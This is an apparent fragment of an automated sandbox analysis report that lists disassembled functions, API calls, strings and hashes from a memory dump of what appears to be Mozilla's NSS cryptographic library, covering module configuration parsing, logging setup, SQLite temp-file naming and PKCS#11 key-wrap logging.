API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 5c63c882705c2deeae8927957cface5df36d8d9fc80bd589ca15f79f6fe1881c
Instruction ID: 523e65a22291183c64d0fccf17e0440d1b1f148f8cc48862a108ed7c07c52d2c
Opcode Fuzzy Hash: 5c63c882705c2deeae8927957cface5df36d8d9fc80bd589ca15f79f6fe1881c
Instruction Fuzzy Hash: EB61F23068D064C6EE5C464EB5BD36C6128B706314F68E137E78E8DFA3F295CA8546D3

Function 6CC65DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CC65E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CC65E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CC65E5C
free.MOZGLUE(00000000), ref: 6CC65E7E
free.MOZGLUE(00000000), ref: 6CC65E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CC65EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CC65EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CC65ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CC65EF0
free.MOZGLUE(00000000), ref: 6CC65F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CC65F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CC65F5B
free.MOZGLUE(00000000), ref: 6CC65F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CC65FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CC65FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CC65FC4
free.MOZGLUE(00000000), ref: 6CC65FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CC65FE9
free.MOZGLUE(00000000), ref: 6CC65FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CC6600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC66027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CC6605A
PR_smprintf.NSS3(6CD3AAF9,00000000), ref: 6CC6606A
free.MOZGLUE(00000000), ref: 6CC6607C
free.MOZGLUE(00000000), ref: 6CC6609A
free.MOZGLUE(00000000), ref: 6CC660B2
free.MOZGLUE(?), ref: 6CC660CE

Strings

pkcs11.txt, xrefs: 6CC65F47, 6CC65F7C, 6CC6603A, 6CC66053
%s/%s, xrefs: 6CC66055
flags, xrefs: 6CC65E3A, 6CC65EC6, 6CC65F30
noModDB, xrefs: 6CC65EEA
readOnly, xrefs: 6CC65E56
secmod=, xrefs: 6CC65FB1
configDir=, xrefs: 6CC65F9D
forceSecmodChoice, xrefs: 6CC65F55
secmod.db, xrefs: 6CC65EA0

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 5cbe00ca21c4230512c65852e8797396972c9445a0e589f40edbaabaf1a7f507
Instruction ID: d18d24d9695449d688b7e9e7c7bc5b2b4827b8feb91df02b4e00b2c40302d308
Opcode Fuzzy Hash: 5cbe00ca21c4230512c65852e8797396972c9445a0e589f40edbaabaf1a7f507
Instruction Fuzzy Hash: D191D5F4A042515BEF018F269DC1BAB3BA8AF0624CF280061ED59DBF42F735D915C7A2

Function 6CBF1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CBF1DA3

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CBF1DB2

Part of subcall function 6CBF1240: TlsGetValue.KERNEL32(00000040,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1267
Part of subcall function 6CBF1240: EnterCriticalSection.KERNEL32(?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF127C
Part of subcall function 6CBF1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1291
Part of subcall function 6CBF1240: PR_Unlock.NSS3(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBF1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CBF1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CBF1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CBF1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CBF1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CBF1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBF1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CBF1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CBF1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CBF1F83
PR_SetLogFile.NSS3(00000000), ref: 6CBF1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CBF1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CBF1FCB
free.MOZGLUE(00000000), ref: 6CBF1FD2

Strings

NSPR_LOG_FILE, xrefs: 6CBF1F69
timestamp, xrefs: 6CBF1EC4
sync, xrefs: 6CBF1E46
all, xrefs: 6CBF1F0E
append, xrefs: 6CBF1EE6
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CBF1E27
NSPR_LOG_MODULES, xrefs: 6CBF1DAD
, %n, xrefs: 6CBF1E6B
bufsize, xrefs: 6CBF1E9B
Unable to create nspr log file '%s', xrefs: 6CBF1FB3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 5356858b9e237b3380ad4823afa6fb6671d537f5b5b017854269a178ef3e2427
Instruction ID: de9828d571b70421e271f65f090f5cc8010931f4196f1696dc6ddd3b0bfba0c9
Opcode Fuzzy Hash: 5356858b9e237b3380ad4823afa6fb6671d537f5b5b017854269a178ef3e2427
Instruction Fuzzy Hash: 13516FB1E042999BEF00DBE5DC44B9E77B8AF05308F080928E929DBB40E771D51DCB62

Function 6CCD6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB8CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBEF9C9,?,6CBEF4DA,6CBEF9C9,?,?,6CBB369A), ref: 6CB8CA7A
Part of subcall function 6CB8CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB8CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CB9BE66), ref: 6CCD6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CB9BE66), ref: 6CCD6E98
sqlite3_snprintf.NSS3(?,00000000,6CD3AAF9,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CB9BE66), ref: 6CCD6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CB9BE66), ref: 6CCD6FA6
sqlite3_snprintf.NSS3(?,00000000,6CD3AAF9,00000000,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD7014
sqlite3_free.NSS3(00000000,?,?,?,?,6CB9BE66), ref: 6CCD701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CB9BE66), ref: 6CCD7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CB9BE66), ref: 6CCD7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CB9BE66), ref: 6CCD70A0

Strings

winGetTempname2, xrefs: 6CCD70C4
winGetTempname5, xrefs: 6CCD7071
winGetTempname1, xrefs: 6CCD708F
mz_etilqs_, xrefs: 6CCD6F18
winGetTempname4, xrefs: 6CCD7046

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 8b12d6b7eb0fbc9890a50cd787ca958b884b446e6998b70a4651f1731a29e46e
Instruction ID: b273165d0c2e198121be07a06335bcf8f67117cdd928f0f77af75309f3932cee
Opcode Fuzzy Hash: 8b12d6b7eb0fbc9890a50cd787ca958b884b446e6998b70a4651f1731a29e46e
Instruction Fuzzy Hash: 8B5156B1E0562127F7009731AC55BBF36669B82308F154A38EA0696FD5FB35B40EC2E3

Function 6CC64FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000,00000000,00000001), ref: 6CC65009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC65049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC6505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CC65071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC650A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CC650B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2), ref: 6CC650CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC650D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC650F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65153
free.MOZGLUE(?), ref: 6CC6516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CC6517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC65195

Strings

config=, xrefs: 6CC6509B
nss=, xrefs: 6CC65083
parameters=, xrefs: 6CC6506B
library=, xrefs: 6CC65043
name=, xrefs: 6CC65057

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: cb2f101fd2ee9f4f7df17c1fa2803b4190f09b1cfc972a88101d818487a82de3
Instruction ID: 2e478af6b3d2a767adf0879d8c6075758196d22c0e75b69d4630803cabd2ac3d
Opcode Fuzzy Hash: cb2f101fd2ee9f4f7df17c1fa2803b4190f09b1cfc972a88101d818487a82de3
Instruction Fuzzy Hash: C15197B5A01215ABEB01DF25DD81AAF37A8AF06248F240020FD55E7F42F735E919C7B2

Function 6CC38E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CC38E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC38EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC38EB3

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC38EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC38EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CC38F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC38F29
PR_LogPrint.NSS3(?,00000000), ref: 6CC38F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CC38F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC38F80
PR_LogPrint.NSS3(?,00000000), ref: 6CC38F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CC38FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CC38FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CC39047

Strings

hKey = 0x%x, xrefs: 6CC38F5B, 6CC38F6B
C_WrapKey, xrefs: 6CC38E71
pWrappedKey = 0x%p, xrefs: 6CC38FAD
(CK_INVALID_HANDLE), xrefs: 6CC38EAC, 6CC38F1F, 6CC38F79
pMechanism = 0x%p, xrefs: 6CC38EE0
*pulWrappedKeyLen = 0x%x, xrefs: 6CC39042
hSession = 0x%x, xrefs: 6CC38E8E, 6CC38E9E
hWrappingKey = 0x%x, xrefs: 6CC38F01, 6CC38F11
pulWrappedKeyLen = 0x%p, xrefs: 6CC38FC8

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 492ab8ab98caef55f33cd7a40489f36b2afddaa9d39c057bbbf0f31fc00b89ab
Instruction ID: a78d9a14c20bf219343261ae812cf934495936769c787687188e77bf07e44bc2
Opcode Fuzzy Hash: 492ab8ab98caef55f33cd7a40489f36b2afddaa9d39c057bbbf0f31fc00b89ab
Instruction Fuzzy Hash: 0C510835605124AFEB01DF15EC48FAA777AAB4634CF084017F60DABA61E738981CCBB1

Function 6CC64C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64C5B
PR_smprintf.NSS3(6CD3AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC64CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC64CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC64D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC54F51,00000000), ref: 6CC64D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CC64D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CC64DA2
free.MOZGLUE(?), ref: 6CC64DB9
free.MOZGLUE(00000000), ref: 6CC64DCF

Strings

any, xrefs: 6CC64C96
ootT, xrefs: 6CC64D1A
rust, xrefs: 6CC64D22
0x%08lx=[%s %s], xrefs: 6CC64D80
timeout, xrefs: 6CC64C91
slotFlags, xrefs: 6CC64D34
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CC64D9D
every, xrefs: 6CC64CA1
rootFlags, xrefs: 6CC64D47
%s,%s, xrefs: 6CC64C4B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: d15e8157252547b89d290296f67bb0cf64202c943ae8d09103b3782179a48cbf
Instruction ID: 31f353462b0ea4926c6a04c830d95c6cc9e373305057da6eb220d95ff08e68ba
Opcode Fuzzy Hash: d15e8157252547b89d290296f67bb0cf64202c943ae8d09103b3782179a48cbf
Instruction Fuzzy Hash: 6B4166B2D00141ABEB12DF16DCD5ABB3A69AB8634CF084124E81A4BF11F731D824C7E2

Function 6CC0DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC0DDDE

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CC0DDF5

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CC0DE34
PR_Now.NSS3 ref: 6CC0DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CC0DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC0DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC0DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC0DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CC0DEF0
PR_smprintf.NSS3(6CD3AAF9,(NULL) (Validity Unknown)), ref: 6CC0DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC0DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC0DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC0DF33
free.MOZGLUE(00000000), ref: 6CC0DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC0DF4B
free.MOZGLUE(00000000), ref: 6CC0DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CC0DEFA
%s%s, xrefs: 6CC0DEEB
{???}, xrefs: 6CC0DE8B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 319d1be3788459ae0a101627d59e98e622cdcaff912a073fb0e095345f905ebb
Instruction ID: 9d6218c082acdbcb467a9dd60155c99c8b0e6cf62c0f8245e7dabf356daca6e5
